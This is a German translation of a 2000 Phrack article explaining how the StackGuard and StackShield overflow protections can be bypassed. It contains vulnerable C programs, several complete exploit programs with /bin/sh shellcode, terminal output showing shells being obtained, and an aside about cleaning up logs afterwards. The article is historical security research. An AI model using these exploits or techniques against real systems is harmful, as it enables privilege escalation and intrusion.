- P H R A C K   M A G A Z I N E -


Volume 0xa Issue 0x38
05.01.2000
0x05[0x10]


|--------------------STACKGUARD UND STACKSHIELD UMGEHEN------------------------|
|------------------------------------------------------------------------------|
|--------------------- Bulba and Kil3r ---------------------------------------|
|----------- freie Übersetzung ins Deutsche: acz -----------------------------|
|- [* Anm. des Übersetzers sind mit eckigen Klammern und * gekennzeichnet *] --|




----| Preface


"Wenn ein Buffer einen Pointer überschreibt... The story of a restless mind."



Dieser Artikel stellt ein Versuch dar, zu zeigen, dass man Stack Overflow Vulnerabilities
auf Systemen exploiten kann, die mit StackGuard oder StackShield gesichert wurden,
sogar unter ungünstigen Bedingungen (zum Beispiel wenn der Stack non-executable ist).



----| StackGuard - Ein Überblick


Den Authoren zufolge ist StackGuard eine "einfache Compiler-Technik mit nur geringen
Performance-Einbußen, die Pufferüberlauf-Vulnerabilities praktisch eliminiert." [1]


Wir setzen voraus, daß der Leser über die Arbeitsweise von Pufferüberlaufangriffen
Bescheid weiß, und wie man Exploit-Code schreibt. Wenn Ihnen das fremd ist, lesen
Sie bitte p49-14.


Kurz gesagt kann man die Rückkehradresse einer Funktion ändern, indem man über den
Rand des lokalen Variablen-Buffers "hinweg" schreibt. Der Randeffekt beim Ändern der
Rückkehradresse einer Funktion ist, daß man alle Stack-Daten zerstört/ändert, die über
das Ende des geplatzten Buffers hinaus enthalten sind.


Was macht StackGuard? Es setzt ein Canary [* Dummie-Zeichen *] neben die Rückkehradresse
auf den Stack. Ist der Canary geändert worden, wenn die Funktion ihren Wert zurückgibt,
wurde ein "Stack Smashing" Angriff entdeckt, und das Programm antwortet indem es eine
Warnmeldung in die Logdatei schreibt und die Verarbeitung des Programms anhält.


Betrachten Sie die folgende Figur:


... ...
|-----------------------------------------------------|
| Parameter, die an die Funktion weitergegeben werden |
|-----------------------------------------------------|
| Rückkehradresse der Funktion (RET) |
|-----------------------------------------------------|
| Canary |
|-----------------------------------------------------|
| local frame pointer (%ebp) |
|-----------------------------------------------------|
| lokale Variablen |
|-----------------------------------------------------|
... ...




Um effektiv vorgehen zu können, muß der Angreifer nicht in der Lage sein,
den Canary zu "spoofen", indem er den Wert des Zeiches in den Attack-String
einbettet. StackGuard bietet zwei Techniken an, um dieses Canary-Spoofing zu
verhindern: "terminator" und "random".


Ein `terminator` Canary beinhaltet NULL(0x00), CR (0x0d), LF (0x0a) und
EOF (0xff) -- vier Zeichen, die die meisten String-Operationen abbrechen lassen
sollten und den Überlaufangriff somit unschädlich machen.


Ein `random` Canary wird zufällig gewählt, wenn das Programm ausgeführt wird.
So kann der Angreifer den Wert des Canaries nicht vor dem Programmstart herausfinden,
indem er die ausführbare Datei durchsucht. Der Zufallswert wird aus /dev/urandom
entnommen (falls verfügbar), und anhand der Tageszeit, wenn /dev/urandom nicht unterstützt
wird. Diese Zufälligkeit reicht aus, um die meisten Vorhersagungen zu unterbinden.



----| StackShield


StackShield bedient sich einer anderen Technik. Der Grundgedanke hier ist es, einen separaten
Stack zu erstellen, der eine Kopie der Rückkehradresse der Funktion speichert. Dies wird wieder
erreicht, indem Code ganz am Anfang und am Ende einer geschützten Funktion hinzugefügt wird.
Der Code am Anfang kopiert die Rückkehradresse in eine spezielle Tabelle, am Ende wird sie dann
zurück in den Stack kopiert. Der Fluß der Programmausführung bleibt also unverändert -- die
Funktion kehrt immer dorthin zurück, von wo sie aufgerufen wurde. Die tatsächliche Adresse wird
nicht mit der gespeicherten Rückkehradresse verglichen, es gibt keinen Weg festzustellen, ob ein
Buffer Overflow aufgetreten ist. Die neueste Version fügt auch einen Schutz gegen den Aufruf von
Function-Zeigern, die auf eine Adresse zeigen, die nicht im .TEXT Segment enthalten sind (sie bricht
die Programmausführung ab, wenn der Rückgabewert geändert wurde) bei.


Es mag so aussehen, als wären diese Systeme unfehlbar. Sie sind es nicht.



----| "Nelson Mengele must be free"


"...ein Angreifer kann die StackGuard-Sicherung umgehen, indem er Pufferüberläufe benutzt, um
andere Pointer im Programm außer der Rückkehradresse zu ändern, wie zum Beispiel Function-Zeiger
und `longjmp`-Puffer, die nicht einmal auf dem Stack liegen müssen." [2]



OK. Und nun. Brauchen wir etwas Glück, um einen Funktion-Zeiger oder einen `longjmp` überlaufen zu lassen?
Darauf können Sie wetten! Es ist nicht gerade alltäglich so einen Zeiger nach unserem Buffer vorzufinden, und
die meisten Programme besitzen es gar nicht. Es ist viel typischer eine andere Art von Pointern zu finden.
Zum Beispiel:



[root@sg StackGuard]# cat vul.c


// Beispielprogramm mit einer Schwachstelle.
int f (char ** argv)
{
int pipa; // nutzlose Variable
char *p;
char a[30];


p=a;


printf ("p=%x -- vor dem 1. strcpy
",p);
strcpy(p,argv[1]); // <== verletzbares strcpy()
printf ("p=%x -- nach dem 1. strcpy
",p);
strncpy(p,argv[2],16);
printf("nach dem 2. strcpy ;)
");
}


main (int argc, char ** argv) {
f(argv);
execl("back_to_vul","",0); //<-- das scheiternde exec
printf("Ende des Programms
");
}



Wie Sie sehen, überschreiben wir einfach die Return-Adresse durch den Überlauf unseres Buffers.
Das bringt uns aber nirgendwo hin, weil das Programm ja von StackGuard geschützt wird. Aber
der einfachste, offensichtlichste Weg ist nicht immer der beste. Was, wenn wir einfach den `p` Pointer
überschreiben? Das zweite (sichere) strncpy() wird direkt in den Speicher gehen, auf den wir zeigen.
Was, wenn `p` auf unsere Return-Adresse auf dem Stack zeigt? Wir ändern den Return der Funktion
ohne den Canary überhaupt zu berühren.


Was brauchen wir demnach für unseren Angriff?
1. Der Pointer p muß im Stack physikalisch hinter unserem Buffer a[] liegen.
2. Wir brauchen einen Overflow-Bug, der es uns erlaubt, diesen p-Pointer zu
überschreiben.
(z.B.: ein nicht begrenztes strcpy).
3. Wir brauchen eine *copy() Funktion (strcpy, memcopy, oder etwas in der Art),
die *p als Ziel und Benutzerdefinierte Daten als Quelle nimmt, und eine
nicht vorhandene Initialisierung von p zwischen dem Overflow und dem `copy`.


Wenn man diese Einschränkungen beachtet, sind offensichtlich nicht alle Programme, compiliert mit StackGuard,
anfällig für Pufferüberlaufangriffe, aber immerhin gibt es diese Art von Verletzbarkeiten. Zum Beispiel der
"wu-ftpd 2.5 mapped_path bug", wo durch das Überlaufen des "mapped_path Buffers" die Argv und LastArg Zeiger
(von setproctitle() benutzt) verändert werden konnten. Dies resultierte in der Möglichkeit, jeden beliebigen Teil
des Speichers des Prozesses zu modifizieren. Zugegeben, das war ein *Data* based Overflow (nicht Stack-based),
aber andererseits zeigt sich, daß die Voraussetzungen für die oben besprochene Verwundbarkeit im "richtigen Leben"
definitiv erfüllt werden.



Aber wie werden wir es exploiten?


Wir überschreiben p, sodass es auf die Adresse von RET auf dem Stack zeigt und somit das nächste
*copy() unser RET überschreibt, ohne den Canary zu berühren :) Ja, wir müssen ebenso Shellcode einschmuggeln
(wir verwenden argv[0]). Hier ist ein Muster-Exploit (wir haben execle() eingesetzt, um das unabhängig von der Umgebung
zu machen):


[root@sg StackGuard]# cat ex.c


/* Beispiel-Exploit no. 1 (c) by Lam3rZ 1999 :) */


char shellcode[] =
"xebx22x5ex89xf3x89xf7x83xc7x07x31xc0xaa"
"x89xf9x89xf0xabx89xfax31xc0xabxb0x08x04"
"x03xcdx80x31xdbx89xd8x40xcdx80xe8xd9xff"
"xffxff/bin/sh";
char addr[5]="AAAAx00";


char buf[36];
int * p;


main() {
memset(buf,'A',32);
p = (int *)(buf+32);
*p=0xbffffeb4; // <<== wir zeigen auf RET
p = (int *)(addr);
*p=0xbfffff9b; // <<== neuer RET-Wert


execle("./vul",shellcode,buf,addr,0,0);
}



Ausgabe auf einem StackGuard-geschützten RH 5.2 Linux Rechner:


[root@sg StackGuard]# gcc vul.c -o vul
[root@sg StackGuard]# gcc ex.c
[root@sg StackGuard]# ./a.out
p=bffffec4 -- vor 1. strcpy
p=bffffeb4 -- nach 1. strcpy
bash#


Wie Sie sehen, überschreibt das erste strcpy() p, dann kopiert strncpy() den neuen RET-Wert,
so daß es die Adresse unseres Shellcodes nimmt, wenn es zurückkehrt (return). Kaboom!


Diese Technik funktioniert bei Programmen, die mit dem regulären gcc oder "StackGuarded gcc"
compiliert wurden, aber StackShield-compilierte Programme sind dagegen immun.



----| There is no spoon


Ich sprach mit Crispin Cowan , einer der Entwickler StackGuards,
und er schlug ein Gegenmittel gegen diesen Hack vor. Hier ist sein Gedanke:


"Die XOR-Random-Canary Verteidigung: hier übernehmen wir Aaron
Grier's uralten Vorschlag, den zufälligen Canary mit der Return-
Adresse zu "XOR"-en. Der Code zur Überprüfung des Canaries, der beim Ver-
lassen von Funktionen XOR-t die Return-Adresse mit dem dazugehörigen
random-Canary (der dieser Funktion bei exec() zugewiesen wird), um zu
berechnen, wie der aufgezeichnete random-Canary auf dem Stack aussehen
müßte. Wenn der Angreifer die Return-Adresse gehackt hat, stimmt der XOR'd
random-Canary nicht überein. Der Angreifer kann nicht den Canary berechnen,
den er auf den Stack legen müßte, ohne den zufälligen Canary-Wert zu
kennen. Dies entspricht einer Verschlüsselung der Return-Adresse mit dem
random-Canary für diese Funktion.


Die Herausforderung hierbei ist es, den Angreifer davon abzuhalten den zufälligen Canary-Wert
herauszufinden. Zuvor hatten wir vorgeschlagen, dies zu erreichen, indem wir die Canary-Tabelle
mit `red pages` umgeben, so daß Pufferüberläufe nicht verwendet werden konnten, um Canary-Werte
zu entnehmen. Wie auch immer, Emsi's [* oben beschriebener *] Angriff läßt den Pointer auf
willkürliche Adressen synthetisieren."


(Die einfachste Lösung ist) "die Canary-Tabelle zu mprotect()'en, um den Angreifer
davon abzuhalten, sie zu korrumpieren."


Wir informierten Crispin, daß wir hierüber einen Artikel schreiben würden,
und seine Antwort war:


"Ich glaube, wir können am Montag einen überarbeiteten StackGuard Compiler
(mit dem zufälligen XOR Canary) zum Release freigeben."


Dieser Compiler wurde released. [3]


StackShield bietet einen (fast) gleichen Level an Sicherheit, indem es eine Kopie des RET
an einem sicheren Ort speichert (an beliebiger Stelle und Größe -- eigentlich nicht unbedingt
eine gute Lösung) und dessen Integrität speichert, bevor das Return erfolgt.


Wir können das umgehen.


Wenn wir einen manipulierbaren Pointer haben, können wir ihn benutzen, um Dinge zu überschreiben,
die uns helfen einen Overflow in einem Programm auszunutzen. Zum Beispiel die `fnlist` Struktur,
die Funktionen per atexit(3) oder on_exit(3) registriert. Um diesen Code-Zweig zu erreichen, muß natürlich das
Programm exit() aufgerufen werden, aber die meisten Programme tun dies meist am Ende ihrer Ausführung oder
wenn ein Fehler auftritt (und in den meisten Fällen können wir eine Ausnahmebedingung [error exception] erzwingen).


Sehen wir uns die fnlist Struktur an:


[root@sg StackGuard]# gdb vul
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
[...]
This GDB was configured as "i386-redhat-linux"...
(gdb) b main
Breakpoint 1 at 0x8048790
(gdb) r
Starting program: /root/StackGuard/c/StackGuard/vul


Breakpoint 1, 0x8048790 in main ()
(gdb) x/10x &fnlist
0x400eed78 : 0x00000000 0x00000002 0x00000003 0x4000b8c0
0x400eed88 : 0x00000000 0x00000003 0x08048c20 0x00000000
0x400eed98 : 0x00000000 0x00000000



Wir sehen, daß sie zwei Funktionen aufruft: _fini [0x8048c20] und _dl_fini
[0x4000b8c0], und daß an keine von diesen Argumente weitergegeben werden
(vergl. glibc Quellen, um zu verstehen, wie der fnlist-Inhalt zu lesen ist). Wir können beide Funktionen
überschreiben. Die fnlist-Adresse ist abhängig von der libc-Bibliothek, also ist sie die selbe für jeden
Prozeß auf einem bestimmten Rechner.


Der folgende Code exploited einen verwundbaren Overflow, wenn das Programm per exit() beendet:



[root@sg StackGuard]# cat 3ex.c
/* Example exploit no. 2 (c) by Lam3rZ 1999 :) */


char shellcode[] =
"xebx22x5ex89xf3x89xf7x83xc7x07x31xc0xaa"
"x89xf9x89xf0xabx89xfax31xc0xabxb0x08x04"
"x03xcdx80x31xdbx89xd8x40xcdx80xe8xd9xff"
"xffxff/bin/sh";
char addr[5]="AAAAx00";


char buf[36];
int * p;


main() {
memset(buf,'A',32);
p = (int *)(buf+32);
*p=0x400eed90; // <<== Adr. des Eintrages in fnlist, den wir modifizieren werden
p = (int *)(addr);
*p=0xbfffff9b; // <<== Adr. der neuen aufzurufenden Funktion (Shellcode) :)
execle("./vul",shellcode,buf,addr,0,0);
}



Wie Sie sehen, ist unser Exploit lediglich um eine Zeile verändert worden :)


Testen wir es gegen unser verwundbares Programm:


[root@sg StackGuard]# gcc 3ex.c
[root@sg StackGuard]# ./a.out
p=bffffec4 -- vor 1. strcpy
p=400eed90 -- nach 2. strcpy
Nach 2. strcpy ;)
End of program
bash#


Wie Sie sehen, gab uns das Programm eine Shell nach der regulären Ausführung.
Weder StackGuard noch StackShield können Schutz gegen diese Art von Angriffen bieten.


Aber was, wenn unser Programm nicht exit() aufruft, sondern stattdessen _exit() verwendet?


Schauen wir mal, was passiert, wenn wir das Canary überschreiben. Ein von StackGuard
geschütztes Programm wird __canary_death_handler() aufrufen (diese Funktion ist verantwortlich
dafür, den Overflow-Versuch zu loggen und den Prozeß abzubrechen). Sehen wir es uns
das mal an:



void __canary_death_handler (int index, int value, char pname[]) {
printf (message, index, value, pname) ;
syslog (1, message, index, value, pname) ;
raise (4) ;
exit (666) ;
}


Wie Sie sehen, steht ein Aufruf von exit() ganz am Ende. Wenn man das Programm auf diese
Art und Weise exploited, werden Logs generiert. Aber wenn es keine andere Möglichkeit gibt,
ist es ein notwendiges Übel. Außerdem, wenn es einem zu `root` verhilft, kann man mit den
Logs hinterher kurzen Prozeß machen.


Wir haben eine kleine eMail von Perry Wagle empfangen (ein anderer
Author von Stackguard): "Es scheint, als habe ich meinen veränderten Code verloren, der es
stattdessen _exit() aufrufen lässt...". Zur Zeit ruft StackGuard _exit() auf.


Natürlich betrifft der obige Hack nicht StackShield. StackShield Schutz kann übergangen
werden, indem man das gespeicherte %ebp überschreibt, das nicht geschützt ist. Ein Weg
es zu exploiten (unter den schlechtesten Bedingungen) ist in "The Frame Pointer Overwrite"
von klog in Phrack 55 [4] beschrieben. Wird ein Programm unter der Verwendung von StackShield
mit der '-z d' Option compiliert, ruft es _exit(), aber das ist kein Problem für uns.



----| Discovering the America


Was ist, wenn ein System sowohl mit StackGuard *und* StackPatch (Solar
Designer's Patch, der den Stack nonexecutable macht) geschützt ist? Könnte man
*dann* vom schlimmsten denkbaren Fall sprechen? Nicht wirklich.


Wir haben eine clevere Technik entwickelt, die eingesetzt werden kann, wenn alle oben
beschriebenen Vorgehensweisen fehlschlagen.


Wir verweisen den Leser auf Rafal Wojtczuk's großartigen Artikel "Defeating Solar
Designer's Non-executable Stack Patch" [5]. Seine großartige Idee war es, die Global Offset
Table (GOT) zu patchen. Mit unserer Verwundbarkeit können wir einen beliebigen Pointer erschaffen,
warum ihn also nicht auf die GOT zeigen lassen?


Benutzen wir mal unseren Kopf. Sehen wir uns ein verwundbares Programm an:


printf ("p=%x -- vor 1. strcpy
",p);
strcpy(p,argv[1]);
printf ("p=%x -- nach 1. strcpy
",p);
strncpy(p,argv[2],16);
printf("Nach 2. strcpy :)
");


Ja. Das Programm schreibt den Inhalt [* Argument *] (argv[2]) an unseren Pointer, dann
wird Code aus der Programmbibliothek ausgeführt, printf(). OK, was wir also machen
müssen, ist die GOT von printf() mit der libc system() Adresse zu überschreiben, so daß
system("After second strcpy :)
"); ausgeführt wird. Probieren wir es mal in der Praxis. Dazu
disassemblen wir die Procedure Linkage Table (PLT) von printf().


[root@sg]# gdb vul
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
[...]
This GDB was configured as "i386-redhat-linux"...
(gdb) x/2i printf
0x804856c : jmp *0x8049f18 <- GOT-Eintrag von printf()
0x8048572 : pushl $0x8
(gdb)


OK, printf()'s GOT-Eintrag ist bei 0x8049f18. Wir müssen lediglich die Adresse von
libc system() auf diese Stelle ändern, 0x8049f18. Rafal's Artikel nach können wir berechnen, daß
unsere system()-Adresse bei: 0x40044000+0x2e740 ist. 0x2e740 ist ein Offset von __libc_system() in
der libc-Bibliothek:


[root@sg]# nm /lib/libc.so.6| grep system
0002e740 T __libc_system
0009bca0 T svcerr_systemerr
0002e740 W system


[ Anmerkung: dem Leser mag aufgefallen sein, daß wir keinen Kernel mit Solar's Patch
eingesetzt haben. Wir hatten Probleme init(8) nach dem Booten zu stoppen. Da uns die
Zeit zur Fertigstellung dieses Artikels davonlief, entschieden wir, ohne den Kernel-Patch zu
arbeiten. Alles, was sich ändern würde, ist das 0x40. Auf manchen Systemen mit Solar's Patch,
ist libc bei 0x00XXYYZZ. So würde die obige Adresse zum Beispiel so aussehen: 0x00044000+0x2e740,
das 0x00 am Anfang wird unseren String abbrechen. Wir sind nicht 100% sicher, daß StackPatch mit
StackGuard kompatibel ist, es SOLLTE es, und sogar wenn es das nicht ist, KÖNNTE es... Aber wir sind
noch nicht sicher.. Wenn es jemand weiß, teilen Sie es uns bitte mit. ]


OK, testen wir also das folgende Exploit:


[root@sg]# cat 3ex3.c
/* Example exploit no. 3 (c) by Lam3rZ 1999 :) */


char *env[3]={"PATH=.",0};
char shellcode[] =
"xebx22x5ex89xf3x89xf7x83xc7x07x31xc0xaa"
"x89xf9x89xf0xabx89xfax31xc0xabxb0x08x04"
"x03xcdx80x31xdbx89xd8x40xcdx80xe8xd9xff"
"xffxff/bin/sh";
char addr[5]="AAAAx00";
char buf[46];
int * p;


main() {
memset(buf,'A',36);
p = (int *)(buf+32);
*p++=0x8049f18;// <== Adresse des printf() GOT-Eintrages
p = (int *)(addr);
*p=0x40044000+0x2e740;// <<== Adresse von libc system()
printf("Exec code from %x
",*p);
execle("./vul",shellcode,buf,addr,0,env);
}


Und testen es!!!


[root@sg]# gcc 3ex3.c
[root@sg]# ./a.out
Exec code from 40072740
p=bffffec4 -- vor 1. strcpy
p=8049f18 -- nach 1. strcpy
sh: syntax error near unexpected token `:)'
sh: -c: line 1: `After second strcpy :)'
Segmentation fault (core dumped)


Hrm. Das hat nicht funktioniert.


Wie es scheint, enthielt der printf()-String unglücklicherweise ein Sonderzeichen
[* im Original: special shell character *]. In den meisten Fällen, wenn wir printf() exploiten um
system() ausführen zu lassen, wird es Dinge wie "Here we blah, blah and blah" ausführen, alles
was wir brauchen ist also, ein "Here" Shellscript im aktuellen Arbeitsverzeichnis zu erstellen (ja,
das suid-Programm darf nicht die PATH-variable ändern).


Aber was geschieht aus unserem unerwarteten ':)' Zeichen?


Nun, es kommt drauf an, manchmal kann man einfach nur printf() vernachlässigen und versuchen,
eine Funktion zu finden, die nach dem 'Exploiten' ausgeführt wird, so daß es reinen Text [* plain text *]
als das letzte Argument interpretiert. Manchmal aber hat man mehr Glück...
Stellen Sie sich vor, unser a[] Buffer sei die letzte lokale Variable, daß Argumente, die an Funktionen
[* aus dieser verwundbaren Funktion aufgerufen *] weitergegeben werden, direkt daneben auf dem
Stack liegen.
Was, wenn wir __libc_system() überreden, das Canary-Pushing zu überspringen? Wir können das
erreichen, indem wir zu __libc_system()+5 anstatt von __libc_system() springen. Das resultiert daher,
daß die Argumente 'eins nach vorne' verschoben werden (z.B. arg1->arg2...), und die ersten 4 Byte
der letzten lokalen Variable auf dem Stack werden als das erste Argument angesehen. Der Aufruf
von printf(), den wir zu mißbrauchen versuchen, nimmt nur ein Argument, somit ist das einzige Argument,
daß system() bekommt, der in den ersten 4 Bytes von a[] enthaltene Pointer. Lassen Sie ihn einfach
auf "/bin/sh" oder etwas ähnliches zeigen.


Das Überschreiben der GOT funktioniert bei StackGuard, StackShield und StackPatch. Es kann
verwendet werden, in Fällen, in denen wir nicht den gesamten kopierten Inhalt manipulieren, sondern nur
Teile davon (wie bei wu-ftpd).



----| "Oily way"


Der Leser findet unter Umständen, daß wir ihm hier nur naive Beispiele zeigen, die bei
einem Feldversuch wahrscheinlich nicht funktionieren werden. Eine verwundbare Funktion,
die als Argumente eine Reihe von Strings bekommt, die irgendwie ungewöhnlich sind. Häufiger
findet man aber Funktionen die etwa so aussehen:



int f (char *string) {
[...]
char *p;
char a[64];
[...]



Sehen Sie sich das an:


char dst_buffer[64]; /* endgültiges Ziel */


int f (char * string)
{
char *p;
char a[64];


p=dst_buffer; /* Pointer-Initialisierung */
printf ("p=%x -- vor 1. strcpy
",p);
strcpy(a, string); /* string-Eingabe */


/* Parsen, Kopieren, Verknüpfen ... schwarze String-Magie */
/* JA, es KÖNNTE unsere Daten korrumpieren */


printf ("p=%x -- nach 1. strcpy
",p);
strncpy(p, a, 64); /* string-Ausgabe */
printf("Nach 2. strcpy ;)
");
}


int main (int argc, char ** argv) {
f(argv[0]); /* Interaktion */
printf("Ende des Programms
");
}



Man interagiert mit der verwundbaren Funktion indem man ihr nur einen String weitergibt...


Aber was, wenn wir es mit einem System zu tun haben, das nonexecutable Stacks hat, und
Bibliotheken die auf seltsame Adressen verweisen (mit NULs darin)?
Wir können nicht die GOT mit unserer Adresse auf dem Stack patchen, weil der Stack
nonexecutable ist.



00110000-00116000 r-xp 00000000 03:02 57154
00116000-00117000 rw-p 00005000 03:02 57154
00117000-00118000 rw-p 00000000 00:00 0
0011b000-001a5000 r-xp 00000000 03:02 57139
001a5000-001aa000 rw-p 00089000 03:02 57139
001aa000-001dd000 rw-p 00000000 00:00 0
08048000-0804a000 r-xp 00000000 16:04 158
0804a000-0804b000 rw-p 00001000 16:04 158 <-- Die GOT ist hier
bfffd000-c0000000 rwxp ffffe000 00:00 0


Es mag scheinen, als sei die GOT nonexecutable, aber ÜBERRASCHUNG! Der gute
alte Intel erlaubt es uns, die GOT wo immer wir wollen auszuführen! So ist alles, was
wir tun müssen, unseren Shellcode dorthin zu stecken, den GOT-Eintrag zu patchen,
damit er auf ihn zeigt, und uns zurücklehnen und die Show genießen!


Um das Verständnis zu erleichtern, ist hier ein kleiner Tip:
Wir müssen nur zwei Zeilen im Exploitcode ändern:


*p=0x8049f84; // Ziel unserer strncpy-Operation
[...]
*p=0x8049f84+4; // Adresse unseres Shellcodes



Wir brauchen nur eine Kopieroperation, die den Shellcode genau dorthin kopieren kann,
wo wir ihn haben wollen. Die Größe unseres Shellcodes ist nicht optimiert, daher braucht
es mehr als 40 Bytes, aber wenn man smart genug ist, kann man diesen Code sogar noch
kleiner machen, indem man die jmp, call, popl loswird (weil wir bereits unsere Adressen kennen).


Eine andere Sache, die wir berücksichtigen müssen, sind Signale. Der Signal-Handler einer
Funktion versucht eine Funktion mit einem gehackten GOT-Eintrag aufzurufen, und das
Programm "stirbt". Aber das ist nur eine theoretische Gefahr.


Was soll das jetzt heißen?


Sie mögen unser verwundbares Programm nicht?


Scheint ihnen immernoch irgendwie unrealistisch?


Vielleicht stellen wir Sie damit zufrieden:


char global_buf[64];


int f (char *string, char *dst)
{
char a[64];


printf ("dst=%x -- vor 1. strcpy
",dst);
printf ("string=%x -- vor 1. strcpy
",string);
strcpy(a,string);
printf ("dst=%x -- nach 1. strcpy
",dst);
printf ("string=%x -- nach 1. strcpy
",string);


// etwas schwarze Magie wird mit dem gelieferten String vorgenommen


strncpy(dst,a,64);
printf("dst=%x -- nach 2. strcpy :)
",dst);
}


main (int argc, char ** argv) {


f(argv[1],global_buf);
execl("back_to_vul","",0); //<-- Das scheiternde exec
// Ich hab keine Ahnung wozu es da ist
// :)
printf("Ende des Programms
");
}




In diesem Beispiel lassen wir unseren Pointer (dst) auf dem Stack über
den Canary und den RET-Wert hinaus liegen, sodaß wir ihn nicht ändern
können, ohne den Canary zu killen und ohne geschnappt zu werden...


Oder können wir?


Sowohl StackGuard als auch StackShield überprüfen, ob RET geändert
wurde, bevor die Funktion zu ihrem Aufrufer zurückkehrt (das passiert ganz
am Ende der Funktion). In den meisten Fällen haben wir genug Zeit, um etwas
zu tun, daß uns die Kontrolle über ein verwundbares Programm gibt.


Das können wir durch das Überschreiben des GOT-Eintrages der als nächstes
aufgerufenen Library-Funktion erreichen.


Wir brauchen uns nicht über die Reihenfolge lokaler Variablen zu kümmern, und
da es uns nicht schert, ob der Canary noch lebt oder nicht, können wir spielen!


Hier ist das Exploit:



/* Example exploit no. 4 (c) by Lam3rZ 1999 :) */


char shellcode[] = // 48 chars :)
"xebx22x5ex89xf3x89xf7x83xc7x07x31xc0xaa"
"x89xf9x89xf0xabx89xfax31xc0xabxb0x08x04"
"x03xcdx80x31xdbx89xd8x40xcdx80xe8xd9xff"
"xffxff/bin/sh";


char buf[100];
int * p;


main() {
memset(buf,'A',100);
memcpy(buf+4,shellcode,48);
p = (int *)(buf+80); // <=- Offset des 2. f()-Arguments [dest one]
*p=0x8049f84;// <<== GOT-Eintrag von printf


p = (int *)(buf);
*p=0x8049f84+4;// <<== GOT-Entry of printf+4, dort ist unser Shellcode :)


execle("./vul2","vul2",buf,0,0);
}


Und das Ergebnis:


[root@sg]# ./a.out
p=804a050 -- vor 1. strcpy
argv1p=bfffff91 -- vor 1. strcpy
p=8049f84 -- nach 1. strcpy
argv1=41414141 -- nach 1. strcpy
bash#



----| Conclusion


1) StackGuard/StackShield kann Sie vor versehentlichen Pufferüberläufen
schützen, aber nicht gegen die Dummheit eines Programmierers. Errare
humanum est, yeah richtig, aber Security-Programmierer müssen nicht
nur Menschen sein, sie müssen sicherheitsbewußte Menschen sein.


2) - durch Überprüfen Ihres Codes - vielleicht verschwenden Sie etwas Zeit,
aber Sie erhöhen ganz bestimmt die Sicherheit der Programme, die Sie
schreiben.
- durch Verwenden von StackGuard/StackShield/was-auch-immer - Sie ver-
schlechtern Ihre System-Performance etwas, aber im Gegenzug erhalten
Sie eine zusätzliche Sicherheitsebene.
- in dem Sie nichts tun, um ihr Programm zu schützen - Sie riskieren, daß
jemand Sie blamiert, indem er ihren Code überlaufen läßt. Und wenn
das passiert, haben Sie es verdient!


Also: Seien Sie perfekt, seien Sie geschützt, oder lassen Sie
sich von den Anderen auslachen.


Wir begrüßen jegliche konstruktive Kommentare und Verbesserungen. Sie können
uns über die Lam3rZ Mailing List erreichen.
[* auch Kritik zur dt. Übersetzung ist erwünscht, eMail an Achatez *]


Ja, ja... Wir wissen es! Kein richtig funktionierendes Exploit bis jetzt :( Wir arbeiten weiter dran.
Checken Sie folgende Links:


http://emsi.it.pl/
und
http://lam3rz.hack.pl/



----| Addendum: Jan 5, 2000


Wir haben das Problem mit StackGuard auf einem System mit Solar Designer's nonexecutable-Stack-Patch
gelöst. Wir sind nicht sicher, wodurch das Problem hervorgerufen wurde, aber um es zu vermeiden:
Aktivieren Sie 'Autodetect GCC trampolines' und 'Emulate trampoline calls' bei der Kernel-Konfiguration.
Wir hatten Slackware Linux ohne StackGuard und trampolines aber mit nonexecutable User Stack laufen,
aber ein von StackGuard geschütztes RH Linux hat die Arbeit in dieser Konfiguration verweigert... :)



----| Some GreetZ


A18 team, HERT, CocaCola, Raveheart (for "Nelson Mengele..." song).
Nergal, mo¿e by¶ siê tak ujawni³? ;)
Po raz kolejny chcialbym zaznaczyc, ze jestem tylko zwyczajnym Lam3rem.


- Kil3r


people I've been drinking with - because i've been drinking with you :)
people I'd like to drink with - because i will drink with you :)
people smarter than me - because you're better than I am
¡ÆÊ£ÑÓ¯¬±æê³ñó¿1/4 - for being wonderful iso-8859-2 characters
Lam3rz - alt.pe0p1e.with.sp311ing.pr0b1emZ :)
koralik - ... just because


- Bulba



----| Fußnoten


[1] Crispin Cowan, Calton Pu, Dave Maier, Heather Hinton, Jonathan Walpole,
Peat Bakke, Steave Beattie, Aaron Grier, Perry Wagle and Qian Zhand.
StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow
Attacks http://www.immunix.org/documentation.html


[2] Crispin Cowan, Steve Beattie, Ryan Finnin Day, Calton Pu, Perry Wagle
and Erik Walthinsen. Protecting Systems from Stack Smashing Attacks with
StackGuard http://www.immunix.org/documentation.html


[3] Security Alert: StackGuard 1.21
http://www.immunix.org/downloads.html


[4] klog. The Frame Pointer Overwrite
http://www.phrack.com/search.phtml?view&article=p55-8


[5] Rafal Wojtczuk. Defeating Solar Designer's Non-executable Stack Patch
http://www.securityfocus.com/templates/archive.pike?list=1&date=1998-02-01&msg=199801301709.SAA12206@galera.icm.edu.pl



----| Anmerkung der Authoren


Dieser Artikel ist geistiges Eigentum der Lam3rZ Group.
Das hier präsentierte Wissen ist geistiges Eigentum der gesamten Menschheit,
insbesondere derer, die es verstehen können. :)



|EOF|-------------------------------------------------------------------------|